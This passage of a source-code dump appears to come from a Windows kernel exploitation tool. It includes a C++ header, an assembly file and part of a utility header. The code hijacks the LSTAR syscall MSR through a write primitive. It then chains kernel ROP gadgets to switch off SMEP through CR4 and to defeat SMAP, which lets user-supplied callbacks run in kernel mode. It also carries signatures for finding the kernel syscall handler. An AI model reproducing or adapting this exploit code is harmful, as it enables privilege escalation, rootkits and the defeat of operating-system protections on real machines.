3 | #include "syscall_handler.h"
4 | #include
5 |
6 | #define IA32_LSTAR_MSR 0xC0000082
7 | #define MOV_CR4_GADGET "\x0F\x22\xE1\xC3"
8 | #define POP_RCX_GADGET "\x59\xc3"
9 | #define SYSRET_GADGET "\x48\x0F\x07"
10 |
11 | // not sure how far back this signature goes... works on 1507 though....
12 | #define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA"
13 | #define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx"
14 | static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
15 |
16 | #define KI_SYSCALL_SHADOW_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x65\x0F\xBA\x24\x25\x00\x00\x00\x00\x00\x72\x03\x0F\x22\xDC"
17 | #define KI_SYSCALL_SHADOW_MASK "xxxxxxxx????xxxxx????xxxxx?????xxxxx"
18 | static_assert(sizeof KI_SYSCALL_SHADOW_SIG == sizeof KI_SYSCALL_SHADOW_MASK);
19 |
20 |
21 | // Windows 11
22 | //#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x33"
23 | //#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxxx"
24 | //static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
25 | //
26 | //#define KI_SYSCALL_SHADOW_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x65\x0F\xBA\x24\x25\x00\x00\x00\x00\x00"
27 | //#define KI_SYSCALL_SHADOW_MASK "xxxxxxxx????xxxxx????xxxxx?????"
28 |
29 | using get_system_routine_t = void* (*)(void*, const char*);
30 | using callback_t = std::function;
31 | using thread_info_t = std::pair;
32 | using writemsr_t = std::function;
33 |
34 | extern "C" void msrexec_handler(callback_t* callback);
35 | inline get_system_routine_t get_system_routine = nullptr;
36 | inline void* ntoskrnl_base = nullptr;
37 |
38 | namespace vdm
39 | {
40 | class msrexec_ctx
41 | {
42 | public:
43 | explicit msrexec_ctx(writemsr_t wrmsr);
44 | void exec(callback_t kernel_callback);
45 | void set_wrmsr(writemsr_t wrmsr);
46 | auto get_wrmsr() -> writemsr_t const;
47 | private:
48 | auto find_gadgets() -> bool;
49 | auto find_globals() -> bool;
50 | writemsr_t wrmsr;
51 | };
52 | }
--------------------------------------------------------------------------------
/syscall_handler.asm:
--------------------------------------------------------------------------------
1 | extern msrexec_handler : proc
2 |
3 | .data
4 | ; offsets into _KPCR/_KPRCB
5 | m_kpcr_rsp_offset dq 0h
6 | m_kpcr_krsp_offset dq 0h
7 | m_system_call dq 0h
8 |
9 | m_mov_cr4_gadget dq 0h
10 | m_sysret_gadget dq 0h
11 | m_pop_rcx_gadget dq 0h
12 |
13 | m_smep_on dq 0h
14 | m_smep_off dq 0h
15 |
16 | public m_smep_on
17 | public m_smep_off
18 |
19 | public m_kpcr_rsp_offset
20 | public m_kpcr_krsp_offset
21 |
22 | public m_pop_rcx_gadget
23 | public m_mov_cr4_gadget
24 | public m_sysret_gadget
25 | public m_system_call
26 |
27 | .code
28 | syscall_handler proc
29 | swapgs ; swap gs to kernel gs (_KPCR...)
30 |
31 | mov rax, m_kpcr_rsp_offset ; save usermode stack to _KPRCB
32 | mov gs:[rax], rsp
33 |
34 | mov rax, m_kpcr_krsp_offset ; load kernel rsp....
35 | mov rsp, gs:[rax]
36 |
37 | push rcx ; push RIP
38 | push r11 ; push EFLAGS
39 |
40 | mov rcx, r10 ; swapped by syscall instruction so we switch it back...
41 | sub rsp, 020h
42 | call msrexec_handler ; call c++ handler (which restores LSTAR and calls lambda...)
43 | add rsp, 020h
44 |
45 | pop r11 ; pop EFLAGS
46 | pop rcx ; pop RIP
47 |
48 | mov rax, m_kpcr_rsp_offset ; restore rsp back to usermode stack...
49 | mov rsp, gs:[rax]
50 |
51 | swapgs ; swap back to TIB...
52 | ret
53 | syscall_handler endp
54 |
55 | syscall_wrapper proc
56 | push r10 ; syscall puts RIP into rcx...
57 | pushfq
58 |
59 | mov r10, rcx ; swap r10 and rcx...
60 | push m_sysret_gadget ; REX.W prefixed...
61 |
62 | lea rax, finish ; preserved value of RIP by putting it on the stack here...
63 | push rax ;
64 |
65 | push m_pop_rcx_gadget ; gadget to put RIP back into rcx...
66 | push m_mov_cr4_gadget ; turn smep back on...
67 |
68 | push m_smep_on ; value of CR4 with smep off...
69 | push m_pop_rcx_gadget ;
70 |
71 | lea rax, syscall_handler ; rop to syscall_handler to handle the syscall...
72 | push rax ;
73 |
74 | push m_mov_cr4_gadget ; disable smep...
75 | push m_smep_off ;
76 |
77 | pushfq ; THANK YOU DREW YOU SAVED THE PROJECT!!!
78 | pop rax ; this will set the AC flag in EFLAGS which "disables SMAP"...
79 | or rax, 040000h ;
80 | push rax ;
81 | popfq ;
82 |
83 | syscall ; LSTAR points at a pop rcx gadget...
84 | ; it will put m_smep_off into rcx...
85 | finish:
86 | popfq ; restore EFLAGS...
87 | pop r10 ; restore r10...
88 | ret
89 | syscall_wrapper endp
90 | end
--------------------------------------------------------------------------------
/syscall_handler.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "ia32.hpp"
3 |
4 | extern "C" std::uint32_t m_kpcr_rsp_offset;
5 | extern "C" std::uint32_t m_kpcr_krsp_offset;
6 |
7 | extern "C" std::uintptr_t m_pop_rcx_gadget;
8 | extern "C" std::uintptr_t m_mov_cr4_gadget;
9 | extern "C" std::uintptr_t m_sysret_gadget;
10 |
11 | extern "C" cr4 m_smep_on;
12 | extern "C" cr4 m_smep_off;
13 | extern "C" std::uintptr_t m_system_call;
14 | extern "C" void syscall_wrapper(...);
--------------------------------------------------------------------------------
/utils.hpp:
--------------------------------------------------------------------------------
1 | /*
2 | WARNING: utils.hpp must be the first file included...
3 | this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS...
4 | */
5 |
6 | #pragma once
7 | #define _CRT_SECURE_NO_WARNINGS
8 | #pragma comment(lib, "ntdll.lib")
9 |
10 | #include
11 | #include
12 | #include
13 | #include
14 |
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include